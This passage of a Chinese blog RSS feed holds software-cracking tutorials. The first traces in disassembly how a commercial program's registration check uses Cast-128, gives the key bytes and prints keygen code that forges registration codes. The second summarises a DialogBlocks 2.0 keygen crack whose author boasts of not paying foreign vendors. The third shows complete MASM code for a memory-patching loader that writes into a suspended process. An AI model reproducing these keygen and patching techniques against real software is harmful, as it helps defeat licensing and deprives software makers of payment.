<P>&nbsp;&nbsp;&nbsp; CODE:0054B25E lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, [ebp+var_18]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B261 lea&nbsp;&nbsp;&nbsp;&nbsp; edx, [ebp+var_10]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]=12h,34h,56h,78h,90h,0ABh,0CDh,0EFh 也就是明文<BR>&nbsp;&nbsp;&nbsp; CODE:0054B264 lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+TCastData]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B26A call&nbsp;&nbsp;&nbsp; sub_4BE41C<BR>&nbsp;&nbsp;&nbsp; CODE:0054B26F lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_1C]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B272 call&nbsp;&nbsp;&nbsp; @@LStrClr<BR>&nbsp;&nbsp;&nbsp; CODE:0054B277 mov&nbsp;&nbsp;&nbsp;&nbsp; ebx, 8<BR>&nbsp;&nbsp;&nbsp; CODE:0054B27C lea&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+var_18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[esi]=0D4h,15h,6Dh,0D8h,3Ch,0B7h,0F8h 也就是密文</P>
<P>&nbsp;&nbsp;&nbsp; 可以看出 sub_4BE41C 过程就是把 edx 中的明文变换成 esi 中的密文，不过 sub_4BE41C 是对应 Cast-128 中的信息加密过程还是信息解密过程呢，我们需要继续分析。跟进 sub_4BE41C 会在开头的一段代码中发现如下的代码：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:004BE4BB cmp&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebx+90h], 0Ch<BR>&nbsp;&nbsp;&nbsp; CODE:004BE4C2 jle&nbsp;&nbsp;&nbsp;&nbsp; loc_4BE5F0</P>
<P>&nbsp;&nbsp;&nbsp; 这里是测试循环的次数是 12 次还是 16 次，如果在开头部分发现这段代码，那么就是信息解密过程，如果是在过程结尾部分发现这段代码，那么就是信息加密过程。因为加密代码和解密代码很相似，只不过是循环的顺序不一样，不容易区分。另外也可以自己写段程序测试一下，看看是加密过程输出的结果与解密过程输出的结果哪一个和跟踪程序时得出的结果一样。</P>
<P>&nbsp;&nbsp;&nbsp; 知道了 sub_4BE41C 过程就是 Cast-128 算法的解密过程，可以把 sub_4BE41C 改名为 Cast128_Decode。到这里我们可以知道，软件在注册时把我们输入的注册码通过 Cast-128 解密，然后再把解密后的字节串与 49988800 作比较。如果一样，则是合法的注册码，注册成功。如果不一样，注册失败。那么 49988800 又是如何得出来的呢？我们需要继续跟踪分析程序。在两处调用 Cast128_InitKey 的地方下断点，重新运行程序，会中断在如下代码处：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:0054B459 lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+TCastData]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[eax]=TCastData<BR>&nbsp;&nbsp;&nbsp; CODE:0054B45F mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, 10h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;ecx=密钥长度<BR>&nbsp;&nbsp;&nbsp; CODE:0054B464 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]=密钥<BR>&nbsp;&nbsp;&nbsp; CODE:0054B466 call&nbsp;&nbsp;&nbsp; Cast128_InitKey</P>
<P>&nbsp;&nbsp;&nbsp; 这里的密钥和上面的密钥不同，记为 key1：01h,23h,28h,67h,12h,78h,56h,78h,23h,50h,67h,89h,34h,56h,78h,9Ah。继续运行，会来到如下代码处：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:0054B54E lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, [ebp+var_18]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B551 lea&nbsp;&nbsp;&nbsp;&nbsp; edx, [ebp+var_18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]=0B4h,46h,6Bh,62h,0E4h,0FCh,53h,13h 也就是序列号<BR>&nbsp;&nbsp;&nbsp; CODE:0054B554 lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+TCastData]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B55A call&nbsp;&nbsp;&nbsp; Cast128_Decode<BR>&nbsp;&nbsp;&nbsp; CODE:0054B55F lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_20]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B562 call&nbsp;&nbsp;&nbsp; @@LStrClr<BR>&nbsp;&nbsp;&nbsp; CODE:0054B567 mov&nbsp;&nbsp;&nbsp;&nbsp; ebx, 8<BR>&nbsp;&nbsp;&nbsp; CODE:0054B56C lea&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+var_18]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[esi]="49988800"</P>
<P>&nbsp;&nbsp;&nbsp; 上面这段代码把序列号解密得到 49988800。现在我们就可以知道如何注册：利用 key1 预处理密钥，然后解密序列号，得到中间变量，再用 key2 预处理密钥，然后加密中间变量就可以得到注册码。注册机关键代码如下：</P>
<P>&nbsp;&nbsp;&nbsp; invoke&nbsp; cast_setkey, addr key, addr key1, 16<BR>&nbsp;&nbsp;&nbsp; invoke&nbsp; RtlZeroMemory, addr tmp, sizeof tmp<BR>&nbsp;&nbsp;&nbsp; invoke&nbsp; cast_decrypt, addr key, addr buf, addr tmp<BR>&nbsp;&nbsp;&nbsp; invoke&nbsp; cast_setkey, addr key, addr key2, 16<BR>&nbsp;&nbsp;&nbsp; invoke&nbsp; RtlZeroMemory, addr buf, sizeof buf<BR>&nbsp;&nbsp;&nbsp; invoke&nbsp; cast_encrypt, addr key, addr tmp, addr buf</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/179310.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>DialogBlocks2.0的注册算法</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177380.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 19 Jun 2005 15:07:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177380.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/177380.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177380.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/177380.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/177380.html</trackback:ping><description><![CDATA[摘要: DialogBlocks2.0的注册算法作者: qfejj DialogBlocks For wxWindgets，这个软件可以帮助软件设计者轻松快速地设计出专业的用户界面，更有跨平台的界面支持库，用过的朋友肯定知道它的强大功能，没有用过的朋友可以试试。注册成为正式用户后,解除所有限制的功能。付钱注册还是使用我的注册机注册，随你便，哈哈。(反正我对老外是不会客气的) 这个软件采用用户名--注册码的&nbsp;&nbsp;<a href='http://www.cnblogs.com/F4ncy/archive/2005/06/19/177380.html'>阅读全文</a><img src ="http://www.cnblogs.com/F4ncy/aggbug/177380.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47995/" target="_blank">Google Voice 上手</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>如何编写Loader</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177377.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 19 Jun 2005 15:02:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177377.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/177377.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/19/177377.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/177377.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/177377.html</trackback:ping><description><![CDATA[<P>如何编写Loader</P>
<P>作者: Detten</P>
<P>1、什么是Loader，为什么需要它？<BR>&nbsp;&nbsp; 所谓的Loader是一个用来加载其他程序的小程序。当然，只有被加载的内存的程序需要改动的时候我们才采用Loader。（内存补丁）<BR>&nbsp;&nbsp; Loader常用于让游戏玩家修改游戏。<BR>&nbsp;&nbsp; 有很多原因导致我们选择Loader而不是一般的补丁程序。我们或许需要在程序CRC校验以后再进行修改，或者开始的时候修改内存数据，然后在程序中再恢复原来的数据.....<BR>&nbsp;&nbsp; 我肯定你还可以找到其他一些用途。</P>
<P>2、Loader是怎么工作的？<BR>&nbsp;&nbsp; OK，找到你的Win32.hlp然后坐下来:)<BR>&nbsp;&nbsp; 首先，Loader必须创建一个进程启动目标程序。我们将用CreateProcess函数做这个（很明显嘛）。当目标程序被加载到内存，我们需要中断该进程，以便进行我们的修改。<BR>&nbsp;&nbsp; 让我们查看一下win32.hlp对这个API函数的讲解：<BR>&nbsp;&nbsp; BOOL CreateProcess(</P>
<P>&nbsp;&nbsp;&nbsp; LPCTSTR lpApplicationName,&nbsp;&nbsp;&nbsp; // 可执行模块名称指针<BR>&nbsp;&nbsp;&nbsp; LPTSTR lpCommandLine,&nbsp;&nbsp;&nbsp; // 命令行字符串指针<BR>&nbsp;&nbsp;&nbsp; LPSECURITY_ATTRIBUTES lpProcessAttributes,&nbsp; // 进程安全属性指针<BR>&nbsp;&nbsp;&nbsp; LPSECURITY_ATTRIBUTES lpThreadAttributes,&nbsp; // 线程安全属性指针<BR>&nbsp;&nbsp;&nbsp; BOOL bInheritHandles,&nbsp;&nbsp;&nbsp; // 句柄继承标记<BR>&nbsp;&nbsp;&nbsp; DWORD dwCreationFlags,&nbsp;&nbsp;&nbsp; // 创建标记<BR>&nbsp;&nbsp;&nbsp; LPVOID lpEnvironment,&nbsp;&nbsp;&nbsp; // 新环境块指针<BR>&nbsp;&nbsp;&nbsp; LPCTSTR lpCurrentDirectory,&nbsp;&nbsp;&nbsp; // 当前路径指针<BR>&nbsp;&nbsp;&nbsp; LPSTARTUPINFO lpStartupInfo,&nbsp; // STARTUPINFO指针<BR>&nbsp;&nbsp;&nbsp; LPPROCESS_INFORMATION lpProcessInformation&nbsp;&nbsp; // PROCESS_INFORMATION指针<BR>&nbsp;&nbsp; );<BR>&nbsp;&nbsp; 这里涉及到的API函数请查看win32.hlpl以了解详细内容，因为这里我只讲解重要的一些关键的API。<BR>&nbsp;&nbsp; lpApplicationName 使目标程序的路径+名称. (例如 c:\somedir\crackme.exe)<BR>&nbsp;&nbsp; lpCommandLine 可以用来指定命令行参数，如果需要的话。<BR>&nbsp;&nbsp; dwCreationFlags 也很重要，因为我们需要随时中断被加载的进程，所以这里设置为CREATE_SUSPENDED&nbsp; lpStartupInfo 指向一个代表启动信息的结构（查看win32.hlp看详细信息）。<BR>&nbsp;&nbsp; lpProcessInformation 指向一个空结构，该结构在进程被加载的时候载内存中被填充。结构中包含有进程句柄，线程句柄和进程/线程ID。<BR>&nbsp;&nbsp; 注意：这里建议采用进程句柄而不是线程句柄，因为如果采用进程句柄，你对整个进程体拥有PROCESS_ALL_ACCESS的操作权限。就是说你对整个进程拥有读写权限，但是如果采用线程ID，就需要再设置写权限。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; 好了，现在目标程序被加载了。我们可以利用下面的API函数来运行或者停止进程：</P>
<P>DWORD ResumeThread(<BR>&nbsp;&nbsp;&nbsp; HANDLE hThread&nbsp;&nbsp; // identifies thread to restart<BR>&nbsp;&nbsp; );&nbsp; 恢复进程</P>
<P>DWORD SuspendThread(<BR>&nbsp;&nbsp;&nbsp; HANDLE hThread&nbsp;&nbsp; // handle to the thread<BR>&nbsp;&nbsp; );&nbsp; 挂起进程<BR>&nbsp;&nbsp; hThread 可以从LPPROCESS_INFORMATION 结构获得。</P>
<P>&nbsp;&nbsp; 最后，可以利用下面的函数读写进程：<BR>BOOL WriteProcessMemory(<BR>&nbsp;&nbsp;&nbsp; HANDLE hProcess,&nbsp; // 需要修改的进程的句柄<BR>&nbsp;&nbsp;&nbsp; LPVOID lpBaseAddress,&nbsp; // 开始写入的地址<BR>&nbsp;&nbsp;&nbsp; LPVOID lpBuffer,&nbsp; // 指向被写入的数据<BR>&nbsp;&nbsp;&nbsp; DWORD nSize,&nbsp; // 写入字节数目<BR>&nbsp;&nbsp;&nbsp; LPDWORD lpNumberOfBytesWritten&nbsp;&nbsp; // 返回写入的数据长度<BR>&nbsp;&nbsp; );<BR>&nbsp;&nbsp; 这是一个典型的信息自我返回（self-explanatory）。hProcess可以从LPPROCESS_INFORMATION结构获取。<BR>&nbsp;&nbsp; 从进程读取数据：<BR>BOOL ReadProcessMemory(<BR>&nbsp;&nbsp;&nbsp; HANDLE hProcess,&nbsp; // handle of the process whose memory is read<BR>&nbsp;&nbsp;&nbsp; LPCVOID lpBaseAddress,&nbsp; // address to start reading<BR>&nbsp;&nbsp;&nbsp; LPVOID lpBuffer,&nbsp; // address of buffer to place read data<BR>&nbsp;&nbsp;&nbsp; DWORD nSize,&nbsp; // number of bytes to read<BR>&nbsp;&nbsp;&nbsp; LPDWORD lpNumberOfBytesRead&nbsp;&nbsp; // address of number of bytes read<BR>&nbsp;&nbsp; );</P>
<P>&nbsp;&nbsp; 看明白上面的信息，就可以看下面的内容了。</P>
<P>3、Loader举例<BR>&nbsp;&nbsp; 下面的事例我将启动一个Crackme并且把窗口标题改成&#8220;Detten's Caption&#8221;。我将把进程启动5秒钟，然后挂起之。<BR>&nbsp;&nbsp; 这里我们修补的字符串，当然用这种方法也可以修补字节或者字:)。作为事情准备，我们需要指导字符串在进程中的地址。所以，开启你喜欢的反汇编软件，找到地址为：004050FCh </P>
<P>&lt;-------------Code Snippet-----------------&gt;<BR>.386<BR>.model flat,stdcall<BR>option casemap:none</P>
<P>include \masm32\include\windows.inc<BR>include \masm32\include\user32.inc<BR>include \masm32\include\kernel32.inc<BR>includelib \masm32\lib\user32.lib<BR>includelib \masm32\lib\kernel32.lib</P>
<P>.data<BR>FileName db "C:\somedir\crackme.exe",0<BR>notloaded db "It did not work :-(",0<BR>Letsgo db "The process is started",13,10,<BR>&nbsp;&nbsp;&nbsp; "Let's change smthg and run it now :-)",0<BR>NewText db "Dettens Caption",0</P>
<P>Startup STARTUPINFO &lt;&gt;<BR>processinfo PROCESS_INFORMATION &lt;&gt;</P>
<P>.data?<BR>hInstance HINSTANCE ?<BR>byteswritten dd ?<BR>uExitCode dd ?</P>
<P>.code<BR>start:</P>
<P>&nbsp; invoke GetModuleHandleA, NULL<BR>&nbsp; mov&nbsp;&nbsp;&nbsp; hInstance,eax <BR>&nbsp; ；创建新进程，载入crackme，并且迅速挂起该线程<BR>&nbsp; invoke CreateProcess, ADDR FileName, NULL, NULL, NULL, NULL, CREATE_SUSPENDED,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL, NULL, ADDR Startup, ADDR processinfo<BR>&nbsp; .IF eax == NULL ; 进程创建失败?<BR>&nbsp;&nbsp;&nbsp; invoke MessageBox, NULL, ADDR notloaded, NULL, MB_ICONEXCLAMATION<BR>&nbsp; .ELSE<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; invoke MessageBox, NULL, ADDR Letsgo, NULL, MB_OK ; Display Message<BR>&nbsp;&nbsp;&nbsp; ；修改字符串（004050FCh）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; invoke WriteProcessMemory, processinfo.hProcess, 004050FCh, ADDR NewText,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13, byteswritten<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; 恢复进程 ;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; invoke ResumeThread, processinfo.hThread<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;让进程运行5秒，然后杀掉它<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; invoke Sleep, 5000<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; invoke TerminateProcess, processinfo.hProcess, uExitCode<BR>&nbsp; .ENDIF<BR>&nbsp; invoke ExitProcess,eax<BR>end start<BR>&nbsp; &lt;-------------End Code Snippet-------------&gt;</P>
<P>&nbsp;&nbsp; 这就是写Loader的整个步骤。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/177377.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47995/" target="_blank">Google Voice 上手</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item></channel></rss>